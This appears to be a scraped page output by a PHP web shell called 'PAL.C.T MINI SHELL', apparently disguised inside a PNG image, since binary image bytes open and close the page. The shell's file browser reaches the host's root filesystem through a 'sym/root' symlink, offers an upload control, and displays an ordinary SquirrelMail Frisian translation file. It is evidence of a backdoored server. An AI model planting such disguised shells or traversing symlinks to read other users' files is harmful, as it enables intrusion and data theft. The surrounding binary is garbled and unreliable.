php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/fy/LC_MESSAGES/
upload
files >> //var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/fy/LC_MESSAGES/html_mail.po

# Frisian (fy) html_mail Translation (SquirrelMail plugin)
# Copyright (c) 1999-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Rinse de Vries <rinsedevries@kde.nl>, 2007.
# $Id: html_mail.pot 10877 2006-03-04 11:22:22Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: html_mail\n"
"POT-Creation-Date: 2005-10-24 21:00+0300\n"
"PO-Revision-Date: 2007-04-14 11:54+0200\n"
"Last-Translator: Rinse de Vries <rinsedevries@kde.nl>\n"
"Language-Team: Frisian <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"

#, php-format
msgid "ERROR (%s): can't load config file"
msgstr "FOUT (%s): kin konfiguraasjetriem net lade"

msgid "HTML"
msgstr "HTML"

msgid "Warning: all special formatting will be lost.  Are you sure you want to send your message in plain text format?"
msgstr "Warskôging: alle spesjale opmak sil ferlern gean. Wolle jo de triem dochs as platte tekst ferstjoere?"

msgid "Plain Text"
msgstr "Platte tekst"

msgid "Compose in HTML"
msgstr "Yn HTML opstelle"

#, php-format
msgid "FATAL: HTML_Mail plugin must come AFTER %s in plugins array.  Please modify plugin order using conf.pl or by editing config/config.php"
msgstr "FATAAL:  HTML_Mail-plugin moat NEI %s komme yn de plugins-array. Wizigje de plugin-folchoarder mei help fan conf.pl of troch config/config.php te bewurkjen."

msgid "Subject"
msgstr "Underwerp"

msgid "From"
msgstr "Fan"

msgid "Default Email Composition Format:"
msgstr "Standertformaat foar e-mail opstelle:"

msgid "Use Emoticons:"
msgstr "Emoticons brûke:"

msgid "Yes"
msgstr "Ja"

msgid "No"
msgstr "Nee"

msgid "Only Reply In HTML When Viewing HTML Format:"
msgstr "Allinnich yn HTML beäntwurdzje as berjocht yn HTML-formaat toand wurdt:"

msgid "(Always Attempt To Reply In HTML)"
msgstr "(Altyd besykje yn HTML te beäntwurdzjen)"

msgid "Only Allow Unsafe Images In HTML Replies When Viewing Unsafe Images:"
msgstr "Allinnich ûnfeilige ôfbylden yn HTML-antwurden tastean as ûnfeilige ôfbylden toand wurde:"

msgid "(Always Include Unsafe Images)"
msgstr "(Altyd ûnfeilige ôfbylden ynslute)"

msgid "HTML Editor Type:"
msgstr "Type HTML-editor:"

msgid "FCKeditor"
msgstr "FCKeditor"

msgid "HTMLArea"
msgstr "HTMLArea"

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`